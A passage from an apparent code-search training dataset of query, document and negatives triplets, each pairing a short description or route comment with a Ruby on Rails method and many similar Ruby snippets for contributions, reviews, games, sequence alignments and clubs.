"def index\n @collaborations = Collaboration.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @collaborations }\n end\n end", "def github_request\n \tgithub = Github.new\n \trepos = github.repos.list user: params['username']\n\n \trespond_to do |format|\n format.json { render json: repos }\n end\n end", "def show\n @contribution_group = ContributionGroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contribution_group }\n end\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
POST people/1/contributions POST people/1/contributions.json
def create @contribution = Contribution.new(contribution_params) @contribution.contributable_type = "Book" @contribution.person = @person respond_to do |format| if @contribution.save format.html { redirect_to person_contributions_path(@person), notice: 'Contribution was successfully created.' } format.json { render action: 'show', status: :created, location: person_contributions_path(@contribution) } else format.html { render action: 'new' } format.json { render json: @contribution.errors, status: :unprocessable_entity } end end end
[ "def contributions_made\n render json: @user.contributions\n end", "def create\n @contribution = current_user.contributions.build(contribution_params)\n respond_to do |format|\n \n if @contribution.save\n format.html { redirect_to contributions_path, notice: '新規投稿が完了しました。' }\n format.json { render :show, status: :created, location: @contribution }\n else\n format.html { render :new }\n format.json { render json: @contribution.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @contribution = Contribution.new(params[:contribution])\n\n respond_to do |format|\n if @contribution.save\n format.html { redirect_to @contribution, notice: 'Contribution was successfully created.' }\n format.json { render json: @contribution, status: :created, location: @contribution }\n else\n format.html { render action: \"new\" }\n format.json { render json: @contribution.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\r\n @contributions = @person.contributions\r\n end", "def create\n @user_contribution = UserContribution.new(user_contribution_params)\n\n respond_to do |format|\n if @user_contribution.save\n format.html { redirect_to @user_contribution, notice: 'User contribution was successfully created.' }\n format.json { render :show, status: :created, location: @user_contribution }\n else\n format.html { render :new }\n format.json { render json: @user_contribution.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @contributo = Contributo.new(params[:contributo])\n\n respond_to do |format|\n if @richiedente.contributi << @contributo\n format.html { redirect_to richiedente_url(@richiedente), notice: 'Contributo was successfully created.' }\n format.json { render json: @contributo, status: :created, location: @contributo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @contributo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @contribution = Contribution.new(contribution_params)\n @contribution.release_id ||= params[:release_id]\n @contribution.artist_id ||= params[:artist_id]\n\n respond_to do |format|\n if @contribution.save\n flash[:success] = \"Contribution was successfully created.\"\n format.html { \n redirect_to originating_page\n }\n format.json {\n render :show, \n status: :created, \n location: @contribution\n }\n else\n format.html { render :new }\n format.json { render json: @contribution.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @contribution = Contribution.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contribution }\n end\n end", "def create_contribution\n\n @initiative = Initiative.find(contribution_params[:initiative_id])\n @gateways = @initiative.gateways.without_state(:draft).ordered\n @contribution = @initiative.contributions.new(contribution_params)\n @contribution.gateway_state = @contribution.gateway.state\n current_user.update module_name: @contribution.gateway.module_name\n authorize @contribution\n\n if @contribution.save\n true\n else\n render '/initiatives/contributions/new'\n false\n end\n\n end", "def index\n @contributions = Contribution.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contributions }\n end\n end", "def create\n @contribution = Contribution.new(params[:contribution])\n\n respond_to do |format|\n if @contribution.save\n flash[:notice] = 'Contribution was successfully created.'\n format.html { redirect_to(@contribution) }\n format.xml { render :xml => @contribution, :status => :created, :location => @contribution }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @contribution.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @contribution = Contribution.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contribution }\n end\n end", "def create\n @monetary_contribution = MonetaryContribution.new(monetary_contribution_params)\n\n respond_to do |format|\n if @monetary_contribution.save\n format.html { redirect_to @monetary_contribution, notice: 'Monetary contribution was successfully created.' }\n format.json { render :show, status: :created, location: @monetary_contribution }\n else\n format.html { render :new }\n format.json { render json: @monetary_contribution.errors, status: :unprocessable_entity }\n end\n end\n end", "def contributions\n respond_to do |format|\n format.html { redirect_to contributions_path }\n format.xml {\n # TODO : make an xml export : a finder +\n # render :xml => @issues.to_xml should be enough)\n }\n format.ods { compute_contributions(:ods) }\n end\n end", "def create_contributors(project_id, req_params)\n name = 'Contributors'\n params = { query: project_id, req: req_params.to_array_obj(:contributors) }\n\n data = endpoint(name: name, params: params).do_post\n\n collection name, data\n end", "def create_contribution(contribution_array, org, repo_name)\n user = create_user(contribution_array['author']['login'])\n repo = create_repo(org, repo_name)\n contributions = add_contributions(contribution_array)\n Commitchamp::Contribution.find_or_create_by(user_id: user.id, repo_id: repo.id) do |c|\n c.additions = contributions[:additions]\n c.deletions = contributions[:deletions]\n c.commits = contributions[:commits]\n end\n end", "def create\n @tipo_contributo = TipoContributo.new(params[:tipo_contributo])\n\n respond_to do |format|\n if @tipo_contributo.save\n format.html { redirect_to @tipo_contributo, notice: 'Tipo contributo was successfully created.' }\n format.json { render json: @tipo_contributo, status: :created, location: @tipo_contributo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tipo_contributo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # byebug\n @membership_contribution = MembershipContribution.new(membership_contribution_params)\n @membership = MembershipBalance.find_by(params[:membership_id])\n respond_to do |format|\n if @membership_contribution.save\n @a = MembershipContribution.all.last\n # @balance = MembershipBalance.find(params)\n @amount1 = @membership.balance + @a.amount\n @b = MembershipBalance.where(membership_id: @a.membership_id).update_all(balance: @amount1)\n format.html { redirect_to @membership_contribution, notice: 'Membership contribution was successfully created.' }\n format.json { render :show, status: :created, location: @membership_contribution }\n else\n format.html { render :new }\n format.json { render json: @membership_contribution.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_contribution(expense, amount)\n contribution = ExpenseContribution.new(:amount => amount)\n contribution.user = self\n contribution.expense = expense\n contribution.save!\n contribution\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
A user cannot leave more than one review per product.
def must_not_be_a_duplicate_review dup_reviews = Review.where(user: user, product: product) if new_record? if dup_reviews.length > 0 errors.add(:product, "already has a review from this user.") end elsif dup_reviews.length > 0 && !dup_reviews.include?(self) errors.add(:product, "already has a review from this user.") end end
[ "def prevent_multiple_reviews\n @review = @current_api_user.reviews.find_by(product: @product)\n if @review.present?\n invalid_resource!(@review)\n end\n end", "def can_create_review?(product)\n return true if @current_user.nil?\n true if product.reviews.where(:user_id => @current_user.id).blank?\n end", "def prevent_multiple_feedback_reviews\n @feedback_review = @review.feedback_reviews.find_by(user_id: @current_api_user)\n if @feedback_review.present?\n invalid_resource!(@feedback_review)\n end\n end", "def user_cant_be_product_seller\n if product.merchant.user_id == user_id\n errors.add(:product_id, \"can't review your own products\")\n end\n end", "def no_review_yet\n if current_user.review_for(@course)\n flash[:danger] = \"You can only post one review per course.\"\n redirect_to @course\n end\n end", "def duplicate_review\n @reservation = Reservation.find_by(id: params[:reservation_id])\n return unless @reservation.reviews.any?\n\n redirect_to @reservation\n flash[:danger] = 'You already left a review for this booking.'\n end", "def can_review_product?(product)\n find_review_by_product(product).nil?\n end", "def double_review\n @paper = Paper.find(params[:paper_id])\n @paper.reviews.each do |r|\n if r.user == current_user\n redirect_to paper_path(@paper)\n flash[:error] = \"You have already made a review for this paper. Please edit the current review.\"\n end\n end\n end", "def user_already_reviewed(movie)\n \t@user_already_reviewed = -1\n \tif user_signed_in? \n\n\t reviewFound = movie.reviews.where('user_id' => current_user.id).first\n\t if reviewFound && reviewFound.status == true\n\t @user_already_reviewed = 0\n\t elsif reviewFound && reviewFound.status == false\n\t @user_already_reviewed = 1\n\t elsif movie.user_id == current_user.id\n\t @user_already_reviewed = 2\n\t end\n\tend\n \treturn @user_already_reviewed\nend", "def user_has_no_review_here(proposal_id)\n \t\thas_review = true\n \tReview.find_all_by_proposal_id(proposal_id).each do |review|\n \t\tif review.user_id == current_user.id\n \t\t\thas_review = false\n \t\tend\n \tend\n \thas_review\n \tend", "def can_revoke_review_request\n if rule.review_requestor_id.nil?\n errors.add(:base, 'Control is not currently under review')\n elsif !(user.id == rule.review_requestor_id || project_permissions == 'admin')\n errors.add(:base, 'Only the requestor or an admin can revoke a review request')\n end\n end", "def only_two_reviews\n @conversation = Conversation.find(params[:conversation_id])\n if @conversation.reviews_count == 2\n redirect_to root_path\n end\n end", "def hasReviewed(u, e)\n return Event.find_by(id: e).reviews.find_by(user_id: u) != nil\n end", "def user_can_only_vote_once_per_movie\n matched_votes = Vote.where(:user_id => self.user_id, :movie_id => self.movie_id)\n if matched_votes.empty? == false\n errors.add(:number_of_votes, \"is limited to one per movie per user\")\n end\n end", "def valid_num_review\n self.num_reviews = num_reviews_allowed\n if num_reviews_greater?(num_reviews_required, num_reviews_allowed)\n errors.add(:message, 'Num of reviews required cannot be greater than number of reviews allowed')\n elsif num_reviews_greater?(num_metareviews_required, num_metareviews_allowed)\n errors.add(:message, 'Number of Meta-Reviews required cannot be greater than number of meta-reviews allowed')\n end\n end", "def cannot_edit(_product)\n !session[:is_administrator] && !(current_user.has_role? :Product_Manager)\n end", "def require_no_submissions_current_term\n user_proposals_this_term = Proposal.where(\"user_id = ? AND term_id = ?\", params[:user_id], current_term).count\n if user_proposals_this_term >= 1\n flash[:error] = 'You have already submitted a proposal this term!'\n redirect_to user_proposals_path(@user)\n end\n end", "def mark_products_with_reviews\r\n Product.all.each do |product|\r\n product.with_reviews = \"y\" unless AliReview.where(productId: product.productId)[0].nil?\r\n product.save if product.with_reviews == \"Y\"\r\n end\r\n end", "def current_user_can_modify_given_review?(review)\n current_user_admin? ||\n (current_user_customer? && current_user_created_given_review?(review))\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Return an alignment which match columns. The originating sequences should have methods 'empty_copy' and '<<'
def columns_where &block seqs = [] rows.each do | seq | new_seq = seq.empty_copy seq.each_with_index do | e,i | new_seq << e if block.call(columns[i]) end seqs << new_seq end Alignment.new(seqs) end
[ "def alignment; end", "def alignment\n @__alignment__\n end", "def inspect_alignment(col_width = 20)\n aligned_left_seq, aligned_top_seq = get_optimal_alignment\n s = []\n aligned_left_seq.each_with_index do |left_el, idx|\n top_el = aligned_top_seq[idx]\n delimiter = if elements_are_equal_for_inspection(top_el, left_el)\n '=' # match\n elsif gap_indicator == top_el\n '-' # delete\n elsif gap_indicator == left_el\n '+' # insert\n else\n '!' # mismatch\n end\n s << [\n element_for_inspection_display(left_el, col_width).rjust(col_width),\n element_for_inspection_display(top_el, col_width).ljust(col_width),\n ].join(\" #{ delimiter } \")\n end\n s.join(\"\\n\")\n end", "def pad_and_match\n cols = cell_matrix.transpose\n unmatched_cols = other_table_cell_matrix.transpose\n\n header_values = cols.map(&:first)\n matched_cols = []\n\n header_values.each_with_index do |v, i|\n mapped_index = unmatched_cols.index { |unmapped_col| unmapped_col.first == v }\n if mapped_index\n matched_cols << unmatched_cols.delete_at(mapped_index)\n else\n mark_as_missing(cols[i])\n empty_col = ensure_2d(other_table_cell_matrix).collect { SurplusCell.new(nil, self, -1) }\n empty_col.first.value = v\n matched_cols << empty_col\n end\n end\n\n unmatched_cols.each do\n empty_col = cell_matrix.collect { SurplusCell.new(nil, self, -1) }\n cols << empty_col\n end\n\n self.cell_matrix = ensure_2d(cols.transpose)\n self.other_table_cell_matrix = ensure_2d((matched_cols + unmatched_cols).transpose)\n end", "def alignment\n @alignment\n end", "def align\n [:owner, :group, :size].each do |field|\n current = @alignment[field]\n @buffer.each do |line|\n new = line[field].length\n current = new if current < new\n end\n @alignment[field] = current\n end\n end", "def alignment_concat(align)\n flag = nil\n begin\n align.each_pair do |key, seq|\n flag = true\n if origseq = self[key]\n origseq.concat(seq)\n end\n end\n return self\n rescue NoMethodError, ArgumentError =>evar\n raise evar if flag\n end\n a = values\n i = 0\n begin\n align.each_seq do |seq|\n flag = true\n a[i].concat(seq) if a[i] and seq\n i += 1\n end\n return self\n rescue NoMethodError, ArgumentError => evar\n raise evar if flag\n end\n align.each do |seq|\n a[i].concat(seq) if a[i] and seq\n i += 1\n end\n self\n end", "def aligned_sequence \n peptide_member = Ensembl::Compara::Member.find_by_member_id(self.peptide_member_id)\n seq = peptide_member.sequence.sequence\n return nil if seq.nil?\n aln = Ensembl::Compara::AlignSeq.new(seq,self.cigar_line).align\n return Bio::FastaFormat.new(Bio::Sequence::NA.new(aln).to_fasta(\"#{self.member.stable_id}|#{peptide_member.stable_id}\")) \n end", "def alignment_concat(align)\n flag = nil\n a = []\n each_seq { |s| a << s }\n i = 0\n begin\n align.each_seq do |seq|\n flag = true\n a[i].concat(seq) if a[i] and seq\n i += 1\n end\n return self\n rescue NoMethodError, ArgumentError => evar\n raise evar if flag\n end\n align.each do |seq|\n a[i].concat(seq) if a[i] and seq\n i += 1\n end\n self\n end", "def align \n return @raw.align \n end", "def alignment_of(member)\n self.class.alignment_of(member)\n end", "def process_alignment\n # init vars\n @names = []\n @seqs = []\n \n @alignment = \"-B #{@basename}.aln\"\n\n # import alignment file\n @content = IO.readlines(@infile).map {|line| line.chomp}\n \n #check alignment for gap-only columns\n remove_inserts\n \n #write query-file\n File.open(@infile, \"w\") do |file|\n file.write(\">#{@names[0]}\\n\")\n file.write(\"#{@seqs[0]}\\n\")\n end\n \n #write aln-file\n File.open(@basename + \".aln\", \"w\") do |file|\n @names.each_index do |num|\n file.write(\"Sequence#{num} \")\n file.write(\" \") if (num < 10)\n file.write(\" \") if (num < 100)\n file.write(\"#{@seqs[num]}\\n\")\n end\n end\n end", "def fitting_alignment a, b\n mat = build_matrix(a.length + 1, b.length + 1, 0)\n #0.upto(a.length){|i| mat[i][0] = 0}\n #1.upto(b.length){|j| mat[0][j] = -b.length}\n 1.upto(a.length) do |i|\n 1.upto(b.length) do |j|\n sols = [mat[i - 1][j] - (j == b.length ? 0 : 1), \n mat[i - 1][j - 1] + (a[i - 1] == b[j - 1] ? 1 : -1)]\n best = sols.max \n mat[i][j] = best\n end\n end\n #mat[a.length][b.length] # ------ DEBUG\n p mat\n vp = []; wp = []\n i = a.length; j = b.length\n while i > 0 and j > 0\n sols = [mat[i - 1][j] - (j == b.length ? 0 : 1),\n mat[i - 1][j - 1] + (a[i - 1] == b[j - 1] ? 1 : -1)]\n best = sols.max \n if best == sols[0]\n if j < b.length\n vp.insert(0, a[i - 1])\n wp.insert(0, '-')\n end\n i -= 1\n else\n vp.insert(0, a[i - 1])\n wp.insert(0, b[j - 1])\n i -= 1\n j -= 1\n end\n end\n {:vp => vp, :wp => wp, :w => mat[a.length][b.length]}\nend", "def query_align(seqs)\n seqtype = nil\n unless seqs.is_a?(Bio::Alignment)\n seqs = Bio::Alignment.new(seqs)\n end\n seqs.each do |s|\n if s.is_a?(Bio::Sequence::AA) then\n seqtype = 'PROTEIN'\n elsif s.is_a?(Bio::Sequence::NA) then\n seqtype = 'DNA'\n end\n break if seqtype\n end\n query_string(seqs.to_fasta(70, :avoid_same_name => true), seqtype)\n end", "def alignments\n map { |alignment| alignment }\n end", "def align; end", "def query_align(seqs, *arg)\n unless seqs.is_a?(Bio::Alignment)\n seqs = Bio::Alignment.new(seqs, *arg)\n end\n query_string(seqs.to_fasta(70))\n end", "def aligned_sequence(start=0,stop = nil,noindent=false) \n self._get_aligned_sequence_from_original_sequence_and_cigar_line\n #seq = AlignSeq.new(self.get_slice.seq,self.cigar_line,start,stop).align\n #return Bio::FastaFormat.new(Bio::Sequence::NA.new(seq).to_fasta(\"#{self.find_organism}\"))\n end", "def align_column(strings, alignment, minwidth=0, has_invisible=true)\n if alignment == \"right\"\n strings = strings.map{|s| s.to_s.strip}\n padfn = :padleft\n elsif alignment == 'center'\n strings = strings.map{|s| s.to_s.strip}\n padfn = :padboth\n elsif alignment == 'decimal'\n decimals = strings.map{|s| s.to_s.afterpoint}\n maxdecimals = decimals.max\n zipped = strings.zip(decimals)\n strings = zipped.map{|s, decs|\n s.to_s + \" \" * ((maxdecimals - decs))\n }\n padfn = :padleft\n else\n strings = strings.map{|s| s.to_s.strip}\n padfn = :padright\n end\n\n if has_invisible\n width_fn = :visible_width\n else\n width_fn = :size\n end\n\n maxwidth = [strings.map{|s| s.send(width_fn)}.max, minwidth].max\n strings.map{|s| s.send(padfn, maxwidth, has_invisible) }\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
POST start new game Takes a body with comma separated string of names /new_game
def new_game params_check(params[:player_names]) { @game = Game.create params[:player_names].split(",").each do |player_name| player = Player.create(name: player_name, game: @game) 10.times do |i| i == 10 ? Frame.create!(game: @game, player: player, position: i, final_frame: true) : Frame.create!(game: @game, player: player, position: i + 1) end end players = @game.players.map{ |player| { "#{player.name}": player.id } } process_response(@game.present?, "Congratulations, you started a new game. Here's your game id: #{@game.id} and player data: #{players}", @game.id) } end
[ "def create\n game = Game.create(game_params)\n render json: game, status: 201\n end", "def create\n @team_game = TeamGame.new(params[:team_game])\n\n respond_to do |format|\n if @team_game.save\n format.html { redirect_to @team_game, notice: 'Team game was successfully created.' }\n format.json { render json: @team_game, status: :created, location: @team_game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @team_game.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @espn_game = EspnGame.new(espn_game_params)\n\n respond_to do |format|\n if @espn_game.save\n format.html { redirect_to @espn_game, notice: 'Espn game was successfully created.' }\n format.json { render action: 'show', status: :created, location: @espn_game }\n else\n format.html { render action: 'new' }\n format.json { render json: @espn_game.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n game = Game.new(name: params[:name])\n\n if game.save\n render json: GameSerializer.new(game), status: :created\n else\n json_errors(game)\n end\n end", "def create\n @html5game = Html5game.new(params[:html5game])\n\n respond_to do |format|\n if @html5game.save\n format.html { redirect_to @html5game, notice: 'Html5game was successfully created.' }\n format.json { render json: @html5game, status: :created, location: @html5game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @html5game.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_new_pg_game\n @log.debug \"bot create_new_pg_game on state #{@state_pg_create}, supported games num: #{@supported_games.size}\"\n if @state_pg_create != :submitted\n #p @supported_games\n @supported_games.each do |item|\n if item[:name] == nil\n @log.warn \"Ignore to send game creation without a name maybe it is disabled in game_info, item is #{ObjTos.stringify(item)}\"\n next\n end\n @log.debug \"Submit pg game on #{item[:name]}\"\n #msg_det = \"#{item[:name]},#{item[:stropt]}\"\n info = {\n :game => item[:name],\n :prive => {:val => false, :pin => '' },\n :class => @playfor_classment,\n :opt_game => item[:opt] \n }\n @log.debug \"auto_create_new_game, pg_create2: #{ObjTos.stringify(info)}\"\n @control_net_conn.send_create_pg2(info)\n end\n @state_pg_create = :submitted\n end\n end", "def create\n @saved_game = SavedGame.new(saved_game_params)\n\n respond_to do |format|\n if @saved_game.save\n format.html { redirect_to @saved_game, notice: 'Saved game was successfully created.' }\n format.json { render :show, status: :created, location: @saved_game }\n else\n format.html { render :new }\n format.json { render json: @saved_game.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @game = Game.new(params[:game])\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to(@game, :notice => 'Game was successfully created.') }\n format.xml { render :xml => @game, :status => :created, :location => @game }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @game.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @nfl_teams = NflTeam.all\n @nfl_game = NflGame.new(params[:nfl_game])\n\n respond_to do |format|\n if @nfl_game.save\n format.html { redirect_to @nfl_game, notice: 'Nfl game was successfully created.' }\n format.json { render json: @nfl_game, status: :created, location: @nfl_game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @nfl_game.errors, status: :unprocessable_entity }\n end\n end\n end", "def start_new_game\n say \"\\nStarting a new game.\"\n @client.start_new_game\n end", "def create\n @game = Game.new(params[:game])\n\n respond_to do |format|\n if @game.save\n flash[:notice] = 'Game was successfully created.'\n format.html { redirect_to(@game) }\n format.xml { render :xml => @game, :status => :created, :location => @game }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @game.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @tournament_game = TournamentGame.new(params[:tournament_game])\n\n respond_to do |format|\n if @tournament_game.save\n format.html { redirect_to @tournament_game, notice: 'Tournament game was successfully created.' }\n format.json { render json: @tournament_game, status: :created, location: @tournament_game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tournament_game.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @old_game = OldGame.new(params[:old_game])\n\n respond_to do |format|\n if @old_game.save\n format.html { redirect_to @old_game, notice: 'Old game was successfully created.' }\n format.json { render json: @old_game, status: :created, location: @old_game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @old_game.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @uploadgame = Uploadgame.new(params[:uploadgame])\n\n respond_to do |format|\n if @uploadgame.save\n format.html { redirect_to @uploadgame, notice: 'Uploadgame was successfully created.' }\n format.json { render json: @uploadgame, status: :created, location: @uploadgame }\n else\n format.html { render action: \"new\" }\n format.json { render json: @uploadgame.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @usergame = Usergame.new(usergame_params)\n\n respond_to do |format|\n if @usergame.save\n format.html { redirect_to @usergame, notice: 'Usergame was successfully created.' }\n format.json { render :show, status: :created, location: @usergame }\n else\n format.html { render :new }\n format.json { render json: @usergame.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @qa_game = QaGame.new(qa_game_params)\n\n respond_to do |format|\n if @qa_game.save\n format.html { redirect_to @qa_game, notice: 'Qa game was successfully created.' }\n format.json { render :show, status: :created, location: @qa_game }\n else\n format.html { render :new }\n format.json { render json: @qa_game.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @game_instance = GameInstance.new(params[:game_instance])\n\n respond_to do |format|\n if @game_instance.save\n format.html { redirect_to @game_instance, notice: 'Game instance was successfully created.' }\n format.json { render json: @game_instance, status: :created, location: @game_instance }\n else\n format.html { render action: \"new\" }\n format.json { render json: @game_instance.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @game_game_instance = Game::GameInstance.new(params[:game_game_instance])\n\n respond_to do |format|\n if @game_game_instance.save\n format.html { redirect_to @game_game_instance, notice: 'Game instance was successfully created.' }\n format.json { render json: @game_game_instance, status: :created, location: @game_game_instance }\n else\n format.html { render action: \"new\" }\n format.json { render json: @game_game_instance.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n find_game\n @step = @game.steps.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @step }\n end\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
GET /clubs/1 GET /clubs/1.json
def show @club = Club.find(params[:id]) respond_to do |format| format.html # show.html.erb format.json { render json: @club } end end
[ "def show\n @club = Club.find(params[:id])\n\n render json: @club\n end", "def show\n @club = Club.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @club }\n end\n end", "def index\n @clubs = Club.all\n render json: @clubs\n end", "def show\n render :json => current_user.clubs.find(params[:id])\n end", "def index\n @clubs = Club.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @clubs }\n end\n end", "def index\n\t\t@clubs = Club.all\n\t\trender json: @clubs\n\tend", "def show\n @sub_club = SubClub.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @sub_club }\n end\n end", "def show\n @clubber = Clubber.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clubber }\n end\n end", "def show\n @sport_club = SportClub.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sport_club }\n end\n end", "def show\n @club_path = ClubPath.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @club_path }\n end\n end", "def index\n @clubbers = Clubber.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @clubbers }\n end\n end", "def show\n @clubsession = Clubsession.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clubsession }\n end\n end", "def index\n @players = Player.find(club_id: params[:id])\n render json: @players\n end", "def show\n @nightclub = Nightclub.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @nightclub }\n end\n end", "def show\n @book_club = BookClub.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book_club }\n end\n end", "def new\n @club = Club.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @club }\n end\n end", "def new\n @club = Club.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @club }\n end\n end", "def index\n @club2s = Club2.all\n end", "def show\n @club = Club.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @club }\n end\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
PUT /clubs/1 PUT /clubs/1.json
def update @club = Club.find(params[:id]) respond_to do |format| if @club.update_attributes(params[:club]) format.html { redirect_to @club, notice: 'Club was successfully updated.' } format.json { head :ok } else format.html { render action: "edit" } format.json { render json: @club.errors, status: :unprocessable_entity } end end end
[ "def update\n @club = Club.find(params[:id])\n\n if @club.update_attributes(params[:club])\n head :no_content\n else\n render json: @club.errors, status: :unprocessable_entity\n end\n end", "def update\n club = Club.find(params[:id])\n if club.update(club_params)\n render json: club, status: 200, location: [:api, club]\n else\n failed_to_update(club, \"club\")\n end\n end", "def update\n @club = Club.find(params[:id])\n\n respond_to do |format|\n if @club.update_attributes(params[:club])\n format.html { redirect_to @club, :notice => 'Club was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @club.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n #if current_user.role == \"admin\"\n club = current_user.clubs.find_by_id(params[:id])\n if club\n if club.update_attributes(params[:club])\n render :json => club\n else\n error \"Failed to update record\"\n end\n else\n error \"You don't have access to this club\"\n end\n end", "def update\n @club = Club.find(params[:id])\n\n respond_to do |format|\n if @club.update_attributes(params[:club])\n flash[:notice] = 'Club was successfully updated.'\n format.html { redirect_to('/clubs') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @club.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @club = Club.find(params[:id])\n\n respond_to do |format|\n if @club.update_attributes(params[:club])\n format.html { redirect_to(@club, :notice => 'Club was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @club.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @club = Club.find(params[:id])\n\n respond_to do |format|\n if @club.update_attributes(params[:club])\n flash[:notice] = 'Club was successfully updated.'\n format.html { redirect_to(@club) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @club.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @user_club.update(user_club_params)\n format.html { redirect_to @user_club, notice: 'User club was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_club }\n else\n format.html { render :edit }\n format.json { render json: @user_club.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @club = Club.new(params[:club])\n\n if @club.save\n render json: @club, status: :created, location: @club\n else\n render json: @club.errors, status: :unprocessable_entity\n end\n end", "def update\n @sub_club = SubClub.find(params[:id])\n\n respond_to do |format|\n if @sub_club.update_attributes(params[:sub_club])\n format.html { redirect_to @sub_club, :notice => 'Sub club was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @sub_club.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @club_update.update(club_update_params)\n format.html { redirect_to @club_update, notice: 'Club update was successfully updated.' }\n format.json { render :show, status: :ok, location: @club_update }\n else\n format.html { render :edit }\n format.json { render json: @club_update.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @admin_club.update(admin_club_params)\n format.html { redirect_to admin_club_path(@admin_club), notice: 'Club was successfully updated.' }\n format.json { render :show, status: :ok, location: @admin_club }\n else\n format.html { render :edit }\n format.json { render json: @admin_club.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @club2.update(club2_params)\n format.html { redirect_to @club2, notice: 'Club2 was successfully updated.' }\n format.json { render :show, status: :ok, location: @club2 }\n else\n format.html { render :edit }\n format.json { render json: @club2.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @admin_update_club.update(admin_update_club_params)\n format.html { redirect_to @admin_update_club, notice: 'Club was successfully updated.' }\n format.json { render :show, status: :ok, location: @admin_update_club }\n else\n format.html { render :edit }\n format.json { render json: @admin_update_club.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tennis_club.update(tennis_club_params)\n format.html { redirect_to @tennis_club, notice: 'Tennis club was successfully updated.' }\n format.json { render :show, status: :ok, location: @tennis_club }\n else\n format.html { render :edit }\n format.json { render json: @tennis_club.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @sports_club.update(sports_club_params)\n format.html { redirect_to @sports_club, notice: 'Sports club was successfully updated.' }\n format.json { render :show, status: :ok, location: @sports_club }\n else\n format.html { render :edit }\n format.json { render json: @sports_club.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @sport_club = SportClub.find(params[:id])\n\n respond_to do |format|\n if @sport_club.update_attributes(params[:sport_club])\n format.html { 